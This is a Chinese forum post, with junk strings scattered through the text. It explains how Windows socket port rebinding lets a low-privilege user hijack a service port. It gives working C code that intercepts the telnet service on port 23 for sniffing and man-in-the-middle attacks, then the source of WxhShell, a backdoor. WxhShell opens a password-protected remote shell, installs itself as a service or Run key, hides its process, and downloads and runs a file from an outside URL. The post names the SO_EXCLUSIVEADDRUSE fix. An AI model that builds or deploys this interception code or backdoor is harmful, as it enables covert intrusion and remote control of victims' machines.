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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Ub"5Fl4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QWzB6H]  
Sgp;@4`M  
  saddr.sin_family = AF_INET; px}|Mu7z~  
>_|O1H./4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EUN81F?  
Ry%Mej:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .6`9H 1  
@wE5S6! B\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (X?%^^e!  
4}4Pyjh  
  这意味着什么?意味着可以进行如下的攻击: 0@H|n^Md#  
&NH$nY.r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m]5Cq6  
]%?YZn<{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G>1eFBh }  
F W/W%^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M#As0~y  
] :BX!<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *=+td)S/1  
*#tJM.Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;|vpwB@B  
<gJU?$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IE9 XU9Kd  
W9D86]3Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j( RWO  
E )5E$  
  #include (`sH3&Kl  
  #include "CUty"R 8  
  #include 1n:8s'\  
  #include    DGAX3N;r6{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c6X}2a'  
  int main() l zYnw)Pv  
  { = c>Qx"Sw  
  WORD wVersionRequested; *:L?#Bw  
  DWORD ret; Z; A`oKd  
  WSADATA wsaData; <;#~l*  
  BOOL val; YwZ Z{+n  
  SOCKADDR_IN saddr; Qzlo'e1  
  SOCKADDR_IN scaddr; Axe8n1*y  
  int err; ReM=eS  
  SOCKET s; S5G6Rj@W  
  SOCKET sc; G-?d3 n  
  int caddsize; |aT| l^2R@  
  HANDLE mt; UG'9*(*  
  DWORD tid;   XVv K2(  
  wVersionRequested = MAKEWORD( 2, 2 ); 5ZMR,SZhC  
  err = WSAStartup( wVersionRequested, &wsaData ); G|( ]bvJ?  
  if ( err != 0 ) { -5I2ga  
  printf("error!WSAStartup failed!\n"); 2Fq<*pxAY  
  return -1; DsT>3  
  } \hM|(*DL  
  saddr.sin_family = AF_INET; pBETA'fY  
   }RwSp!}C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S%yd5<%_  
a^=-Mp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3WUTI(  
  saddr.sin_port = htons(23); *T~Ve;3h;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ub;ZtsM,%  
  { 8"fD`jtQ  
  printf("error!socket failed!\n"); $ep.-I>  
  return -1; {|1Y:&M?   
  } .8y3O]  
  val = TRUE; lsy?Ac  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GQ9\'z#+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7D!u1?]d{  
  { ^sVX)%  
  printf("error!setsockopt failed!\n"); 76Vl6cPu>  
  return -1; ?84 s4BpV1  
  } ,ztI,1"k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [BT/~6ovrZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qt/8r*Oe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z| V`B `  
EpFQ|.mQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z&{5;A}Q@  
  { rxy&spX  
  ret=GetLastError(); D?0zhU  
  printf("error!bind failed!\n"); 7LU}Iiv  
  return -1; \'CDRr"uw  
  } OnK~3j  
  listen(s,2); #3_*]8K.R  
  while(1) G=A,9@+c  
  { T`Mf]s)*  
  caddsize = sizeof(scaddr); -mRA#  
  //接受连接请求 ,;(PwJe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ui@2s;1t  
  if(sc!=INVALID_SOCKET) N9vP7  
  { tPGJ<30  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \l.-eu'O  
  if(mt==NULL) vh*U]3@  
  { |jVM&R2s  
  printf("Thread Creat Failed!\n"); 82]vkU  
  break; Nqrmp" ]  
  } 1f8GW  
  } -tyK~aasQ  
  CloseHandle(mt); 4=Krq6{  
  } /l<<_uk$  
  closesocket(s); 1$81E.  
  WSACleanup(); V 2i@.@$j  
  return 0; )I$q5%q8  
  }   w );6K[+;  
  DWORD WINAPI ClientThread(LPVOID lpParam) * ;Cy=J+  
  { 6p?JAT5  
  SOCKET ss = (SOCKET)lpParam; \@1=stK:F  
  SOCKET sc; &bp=`=*  
  unsigned char buf[4096]; e`v`XSA[p  
  SOCKADDR_IN saddr; @$2))g`  
  long num; K"[AxB'F  
  DWORD val; q7-L53.x  
  DWORD ret; W"k8KODOY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ce")[<:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6'RrQc=q  
  saddr.sin_family = AF_INET; H03jDM8Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HH@qz2w  
  saddr.sin_port = htons(23); rn=m\Gv e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'qF#<1&  
  { `A,g] 1C:  
  printf("error!socket failed!\n"); NbGV1q']  
  return -1; |R#"Th6mH!  
  } n Ml%'[u  
  val = 100; nYa*b=[.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -atGlu2  
  { ^+m+zd_  
  ret = GetLastError(); i6 (a@KRY  
  return -1; O=dJi9;`#_  
  } A6pjRxg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LI6hE cM=  
  { Wf&W^Q  
  ret = GetLastError(); sPb=82~z  
  return -1; `QUy;%+  
  } ?w+Ix~k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Zt&6Ua[Y}  
  { ,57`D'  
  printf("error!socket connect failed!\n"); !DI{:I_h(  
  closesocket(sc); pKjoi{ Z  
  closesocket(ss); x"CZ]p&m  
  return -1; o)[2@fRC(  
  } \C`~S7jC  
  while(1) ?&^?-S% p  
  { a /:@"&Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bgK<pi)d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |-CnT:|o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xe^Cn R  
  num = recv(ss,buf,4096,0); z8J."27ND  
  if(num>0) ]wWPXx[>/  
  send(sc,buf,num,0); WwUv5GZTW  
  else if(num==0) C{q:_M;  
  break; ZZ.m(A TR  
  num = recv(sc,buf,4096,0); D^-7JbE]  
  if(num>0) >N?2""  
  send(ss,buf,num,0); yx<WSgWZ[  
  else if(num==0) Qo1eXMW  
  break; 60)iw4<wf  
  } hAjM1UQ,Y  
  closesocket(ss); }irn'`I  
  closesocket(sc); bC3 F  
  return 0 ; /De^  
  } @5[kcU>  
?^EXTU85`"  
f5GdZ_  
========================================================== 6Kj'Zy VL  
rX;Ys2vQ*  
下边附上一个代码,,WXhSHELL 03iv3/{H  
Z xb_K  
========================================================== fI7j):h;  
4 8{vE3JY  
#include "stdafx.h" i9D0]3/>  
v*qQ? S  
#include <stdio.h> <uc1D/~^:  
#include <string.h> MCP "GZK6W  
#include <windows.h> `W-&0|%Ta  
#include <winsock2.h> & BvZF  
#include <winsvc.h> [*Z`Kc  
#include <urlmon.h> ,= &B28Qe)  
@Kgl%[NmX  
#pragma comment (lib, "Ws2_32.lib") 7 lo|dg80  
#pragma comment (lib, "urlmon.lib") _6Eu2|vM&  
7'-j%!#w  
#define MAX_USER   100 // 最大客户端连接数 eJo3 MK  
#define BUF_SOCK   200 // sock buffer /LM4- S  
#define KEY_BUFF   255 // 输入 buffer tL+OCLF;  
:~ A%#  
#define REBOOT     0   // 重启 wO>L#"X^v  
#define SHUTDOWN   1   // 关机 :SsUdIX;P  
7E @+  
#define DEF_PORT   5000 // 监听端口 p<v.Q   
i#%a-I:M  
#define REG_LEN     16   // 注册表键长度 "z*:'8;E  
#define SVC_LEN     80   // NT服务名长度 ?~QIALA  
4\&  
// 从dll定义API x5Z-{"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EOoZoVdzx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O`$#Pg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 34QfgMyH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }elH75[64  
tyDY'W\]  
// wxhshell配置信息 yt+}K)Hz  
struct WSCFG { 7DfTfTU6  
  int ws_port;         // 监听端口 "W#t;;9Wz  
  char ws_passstr[REG_LEN]; // 口令 aRc'  
  int ws_autoins;       // 安装标记, 1=yes 0=no )){xlFA}  
  char ws_regname[REG_LEN]; // 注册表键名 sIl33kmv  
  char ws_svcname[REG_LEN]; // 服务名 |Cdvfk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kwhdu<6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XIWm>IQ[)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o."rxd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;_:Ool,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a0*2) uL}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8:.nEo'  
Q#Y k?Kv~  
}; WM)F0@"  
#2tCV't  
// default Wxhshell configuration i\H+X   
struct WSCFG wscfg={DEF_PORT, XTDE53Js&  
    "xuhuanlingzhe", ;p ]y)3  
    1, w&BGJYI  
    "Wxhshell", E&B{5/rv  
    "Wxhshell", - ~4+w  
            "WxhShell Service", SjdZyJa  
    "Wrsky Windows CmdShell Service", F.)!3YE  
    "Please Input Your Password: ", d3]hyTqbtm  
  1, ~^vC,]hU  
  "http://www.wrsky.com/wxhshell.exe", -K[782Q  
  "Wxhshell.exe" p[2GkP  
    }; 5=KF!?  
b8f+,2Tk  
// 消息定义模块 B/"2.,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _iE j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gq5qRi`q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c {I"R8  
char *msg_ws_ext="\n\rExit."; +3,|"g::  
char *msg_ws_end="\n\rQuit."; #~ Q8M*~@  
char *msg_ws_boot="\n\rReboot..."; F pt-V  
char *msg_ws_poff="\n\rShutdown..."; &&L"&Rc  
char *msg_ws_down="\n\rSave to "; ,eQ[Fi!!  
zx1:`K0bi  
char *msg_ws_err="\n\rErr!"; d/7lefF  
char *msg_ws_ok="\n\rOK!"; }xFi& <  
-iCcoA  
char ExeFile[MAX_PATH]; &D#+6M&LK{  
int nUser = 0; r?l;I3~  
HANDLE handles[MAX_USER];  <1&Ke  
int OsIsNt; <3hA!$o~  
=w<v3wWN4  
SERVICE_STATUS       serviceStatus; _N3}gFh>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2*U.^]~"{  
yZJ*dadAr  
// 函数声明 s T3p>8n  
int Install(void); #3kXmeyrD  
int Uninstall(void); (RXS~8  
int DownloadFile(char *sURL, SOCKET wsh); {Ts:ZI+ 8d  
int Boot(int flag); Pj7gGf6v  
void HideProc(void); 0p fnV%  
int GetOsVer(void); cbKL$|  
int Wxhshell(SOCKET wsl); uG>nV  
void TalkWithClient(void *cs); gUB{Bh($Y  
int CmdShell(SOCKET sock); K%}}fw2RMN  
int StartFromService(void); ,M3z!=oIGn  
int StartWxhshell(LPSTR lpCmdLine); z#<P} }  
~DLIzg7p!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'Zk<l#"}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eSl-9 ^  
HBLWOQab  
// 数据结构和表定义 F?Or;p5`Y  
SERVICE_TABLE_ENTRY DispatchTable[] = (OQ?<'Qa  
{ sXl ??UGe  
{wscfg.ws_svcname, NTServiceMain}, jiIST^Zq#t  
{NULL, NULL} l9{#sas  
}; v9}[$HWx  
)Mzt3u  
// 自我安装  d^39t4  
int Install(void)  r@T| e  
{ EaS~`  
  char svExeFile[MAX_PATH]; f|xLKcOP  
  HKEY key; Z{{ t^+XG  
  strcpy(svExeFile,ExeFile); `HUf v@5  
!v !N>f4S$  
// 如果是win9x系统,修改注册表设为自启动 )u@t.)ChAV  
if(!OsIsNt) { b"8FlZ$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  }sMW3'V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i#,1i VSG  
  RegCloseKey(key); rbk<z\pc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Y;<:zx5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~4 FDKU C  
  RegCloseKey(key); ~SV Q;U)-  
  return 0; /aUFc'5  
    } Z|^MGyn  
  } *kaJ*Ti-/  
} %OI4a5V*l  
else { \_oy$>;  
Xa`(;CLW?  
// 如果是NT以上系统,安装为系统服务 W._G0b4}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = cfm=+  
if (schSCManager!=0) @)sc6 *lnW  
{ $ u2Cd4  
  SC_HANDLE schService = CreateService FU@uH U5fd  
  ( Wp*sP Z  
  schSCManager, R'EW7}&  
  wscfg.ws_svcname, U($^E}I2(  
  wscfg.ws_svcdisp, J0Four#MD  
  SERVICE_ALL_ACCESS, j%M @#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KC Xwn  
  SERVICE_AUTO_START, \7E`QY4  
  SERVICE_ERROR_NORMAL, 'yNPhI  
  svExeFile, 5fHYc0  
  NULL, Tkrx7C s(  
  NULL, v#=ayWgk  
  NULL, n0.8)=;2  
  NULL, i X/tt  
  NULL ",Wf uz  
  ); L_*L`!vQA"  
  if (schService!=0) \o9@>&2  
  { {v+a!#{c7  
  CloseServiceHandle(schService); i=Kvz4h  
  CloseServiceHandle(schSCManager); u[t>Tg2R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P,1exgq9  
  strcat(svExeFile,wscfg.ws_svcname); o5#,\Y[ g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q=.g1$LP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * NMQ  
  RegCloseKey(key); Za\RM[Z!I  
  return 0; , ;'SVe%  
    } GUCM4jVT^  
  } d]k='  
  CloseServiceHandle(schSCManager); zXgkcq)  
} |p'i,.(c_W  
} K%<GU1]-]  
L; C|ow^c  
return 1; $f(agG]  
} G4yUC<TqBP  
-ddOh<U>  
// 自我卸载 s1@@o#r  
int Uninstall(void) 3ExVZu$  
{ Ao!=um5D J  
  HKEY key; -eYL*Pa  
,'-?:`hP'  
if(!OsIsNt) { pU[K%@sC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j@g!R!7)  
  RegDeleteValue(key,wscfg.ws_regname); Ge9}8  
  RegCloseKey(key); gCwt0)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LO>8 j:  
  RegDeleteValue(key,wscfg.ws_regname); !>|`ly$6  
  RegCloseKey(key); cX"G7Bh  
  return 0; 3qcpf:  
  } 5xv,!/@  
} _U=S]2 Q W  
} 'X ~Ab  
else { 2e\Kw+(>{  
MVuP |&:n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7X:hIl   
if (schSCManager!=0) ,A?v,Fs>O[  
{ &O{t^D)F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d:3= 1x  
  if (schService!=0) <|dj^.^  
  { C!kbZTO[p"  
  if(DeleteService(schService)!=0) { ]h!*T{:  
  CloseServiceHandle(schService); ~6fRS2u  
  CloseServiceHandle(schSCManager); cB36p&%  
  return 0; Ds G !S*  
  } Vdy\4 nu(  
  CloseServiceHandle(schService); |Qq+8IeYG  
  } ]Qy,#p'~&H  
  CloseServiceHandle(schSCManager); q\G{]dz?R  
} j>g9\i0O1  
} +9}' s{  
0, "ZV}  
return 1; JSUzEAKe  
} a~ F u  
fcn_<Yh0W  
// 从指定url下载文件 bF7`] 83  
int DownloadFile(char *sURL, SOCKET wsh) gTyW#verh$  
{ sK[Nti0  
  HRESULT hr; 0Sz/c+ 6  
char seps[]= "/"; 1[# =,  
char *token; tdb4?^.s  
char *file; fIlIH  
char myURL[MAX_PATH]; `v<f}  
char myFILE[MAX_PATH]; 3V!W@[ }:  
@hBx, `H^  
strcpy(myURL,sURL); \ /sF:~=  
  token=strtok(myURL,seps); 2"_ 18l.  
  while(token!=NULL) ;p.j  
  { Cb<~i  
    file=token; tl2Lq0  
  token=strtok(NULL,seps); 9`E-dr9  
  } 1URT2$2p  
SaTEZ.  
GetCurrentDirectory(MAX_PATH,myFILE);  aeQ{_SK  
strcat(myFILE, "\\"); {bxhH)a'  
strcat(myFILE, file); UFJEs[?+Te  
  send(wsh,myFILE,strlen(myFILE),0); _4g}kL02.  
send(wsh,"...",3,0); s>V*=#L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "%Lmgy:~  
  if(hr==S_OK) ^r%i3  
return 0; Z*;*I<-  
else yW'BrTw  
return 1; rHR5,N:  
^S3A10f,  
} X{4xm,B/  
ta2z  
// 系统电源模块 78\\8*  
int Boot(int flag) #NSaY+V  
{ mfUKHX5  
  HANDLE hToken; %Ud.SJ 3  
  TOKEN_PRIVILEGES tkp; jWz|K  
Ab/v_ mA;  
  if(OsIsNt) { C}|O#"t^\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I(F1S,7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L'zdsa}Et  
    tkp.PrivilegeCount = 1; QZ_nQ3K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )bF)RL Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); if\k[O 1T6  
if(flag==REBOOT) { &Qz"nCvJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 48W:4B'l9  
  return 0; G`&'Bt{Z*  
} NN?Bi=&9  
else { E]D4']  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #{.pQi})  
  return 0; ^?JEyY  
} b'i%B9yU:%  
  } >!CH7wX  
  else { FC|y'j 0  
if(flag==REBOOT) { !NQf< ch  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GIJV;7~  
  return 0; C%qtCk_cN  
} ~0:$G?fz  
else { *NKC \aV`0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y>c5:F;  
  return 0; .f[\G*   
} h?M'7Lti  
} GhaAvyN  
j>0SE  
return 1; DRS;lJ2  
} KHiYV  
L8%=k%H(1  
// win9x进程隐藏模块 &ij^FAM  
void HideProc(void) h=mI{w*  
{ J:k@U42  
V_ avaE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u^;sx/  
  if ( hKernel != NULL ) %6vMpB`g  
  { EC:x  ,i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sP=2NqU3Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BUboP?#%)  
    FreeLibrary(hKernel); KG7X8AaK#  
  } !'c6Hs  
%t(, *;  
return; k N uN4/  
} $/-wgyP3m+  
gDjd{+LUo  
// 获取操作系统版本 @vDgpb@TM  
int GetOsVer(void) 1-ndJ@Wlz  
{ c9/ 'i  
  OSVERSIONINFO winfo; =[O<.'aG-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FeincZ!M  
  GetVersionEx(&winfo); >(YPkmH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Y}Z4" o  
  return 1; mw%[qeL V  
  else ~gcst;  
  return 0; Qg86XU%l  
} }*{\)7g  
UeC%Wa<[  
// 客户端句柄模块 P+D|_3j  
int Wxhshell(SOCKET wsl) C'xU=OnA8  
{ Mf,Mcvs  
  SOCKET wsh; h1D~AgZOVj  
  struct sockaddr_in client; *]DJAF]  
  DWORD myID; XJV3oj   
2Q;Y@%G  
  while(nUser<MAX_USER) Bwi[qw  
{ (urfaZ;@+  
  int nSize=sizeof(client); Vtc)/OH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *RqO3=  
  if(wsh==INVALID_SOCKET) return 1; {{#a%O  
!SD [6Z.R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ML9T (th6v  
if(handles[nUser]==0) yQQDGFTb!=  
  closesocket(wsh); n=Z[w5  
else GurE7J^=  
  nUser++; [{fF)D<tC  
  } WhVmycdv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +{ ,w#@  
a5Acqa  
  return 0; U+3PqWB  
} xN":2qy#T  
vVvt ]h  
// 关闭 socket |] f"j':  
void CloseIt(SOCKET wsh) JJZXSBAOU  
{ 9  lazo  
closesocket(wsh); V.G9J!?<P  
nUser--; MX< ($M  
ExitThread(0); *j|Tm7C  
} 8-l)TTP&.  
 C.TCDl  
// 客户端请求句柄 Qe=Q8cT  
void TalkWithClient(void *cs) O (sFs1  
{ 1x<rh\oo  
=.=. \K  
  SOCKET wsh=(SOCKET)cs; \]d*h]Hms  
  char pwd[SVC_LEN]; b~jvmcr  
  char cmd[KEY_BUFF]; Rc m(Y7  
char chr[1]; "Jv,QTIcS  
int i,j; \gk3w,B?E  
@|*Z0bn'  
  while (nUser < MAX_USER) { e7j]BzGvl  
L)//- k9  
if(wscfg.ws_passstr) { +#*z"a`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :J)l C =  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Elga}7u  
  //ZeroMemory(pwd,KEY_BUFF); DF&jZ[##  
      i=0; dXcMysRc%&  
  while(i<SVC_LEN) { N<i Vs  
VRN9yn2  
  // 设置超时 /dP8F  
  fd_set FdRead; >kLH6.  
  struct timeval TimeOut; uB)6\fkTB  
  FD_ZERO(&FdRead); %A[p!U  
  FD_SET(wsh,&FdRead); cX]{RVZo-/  
  TimeOut.tv_sec=8; Q)|LiCR,  
  TimeOut.tv_usec=0; GLcZ=6)"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '9F{.]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z E7ocul  
+cOI`4`$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eVK<%r=  
  pwd=chr[0]; Q24:G  
  if(chr[0]==0xd || chr[0]==0xa) {  ( Vv[  
  pwd=0; }4ghT(C}$  
  break; qYrGe  
  } ,Vn]Ft?n  
  i++; {<{G 1y~  
    } J'4@-IM  
4R^j"x 5  
  // 如果是非法用户,关闭 socket V6!73 iY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "aO,  
} KUqS(u  
<{).x 6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z*Hxrw\!0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /gy:#-2Gy  
_!g NF=  
while(1) { <TROs!x$a  
u~T$F/]k>  
  ZeroMemory(cmd,KEY_BUFF); H;!hp0y  
f*&JfP  
      // 自动支持客户端 telnet标准   GB0b|9(6D"  
  j=0; Jn[ K0GV  
  while(j<KEY_BUFF) { $5AtI$TV_!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ifCGNvDR  
  cmd[j]=chr[0]; <T% hfW  
  if(chr[0]==0xa || chr[0]==0xd) { <`p'6n79  
  cmd[j]=0; =gv/9ce)3  
  break; cj_?*  
  } *A9{H>Vq  
  j++; }AfPBfgC1z  
    } #CP, \G  
`; %aQR  
  // 下载文件 3\.)y49,1  
  if(strstr(cmd,"http://")) { fQA)r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i/EiUH/~  
  if(DownloadFile(cmd,wsh)) ik NFW*p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,[m=9V  
  else RV*Zi\-X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PC7.+;1  
  } MAo,PiYb  
  else { 5GxM?%\  
9wJmX<Rm  
    switch(cmd[0]) { v@s`l#  
  OQ*. ho  
  // 帮助 s(9rBDoY(8  
  case '?': { y#0Z[[I0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d_qVk4h\  
    break; ;xH'%W9z  
  } c,%>7U(w_  
  // 安装 !! #ale&  
  case 'i': { VCtiZ4  
    if(Install()) tf79Gb>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fw};.M  
    else Donf9]&U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ph_m'fbf  
    break; /;$ew~}  
    } )Bvu[r Uy  
  // 卸载 >A "aOV>K  
  case 'r': { &-Y:4.BXZ  
    if(Uninstall()) 07Cuoqt2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zate%y  
    else zO]dQ$r\Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q&a<9e&  
    break; d~$t{46  
    } d>-EtWd  
  // 显示 wxhshell 所在路径 ?0&>?-?  
  case 'p': { rzj'!~>U  
    char svExeFile[MAX_PATH]; >c>ar>4xF  
    strcpy(svExeFile,"\n\r"); w%H#>k  
      strcat(svExeFile,ExeFile); /7)G"qG~F~  
        send(wsh,svExeFile,strlen(svExeFile),0); 7+-}8&s yu  
    break; Rp9iX~A`e  
    } 6FFv+{ 2^@  
  // 重启 6)j4 TH  
  case 'b': { P#1y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8+|Lph`/?  
    if(Boot(REBOOT)) UzwIV{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(4hX6?5AI  
    else { MT gEq  
    closesocket(wsh); CI{TgL:l  
    ExitThread(0); <7Lz<{jaJ  
    } b#^D8_9h  
    break; R:<AR.)K  
    } M<7*\1  
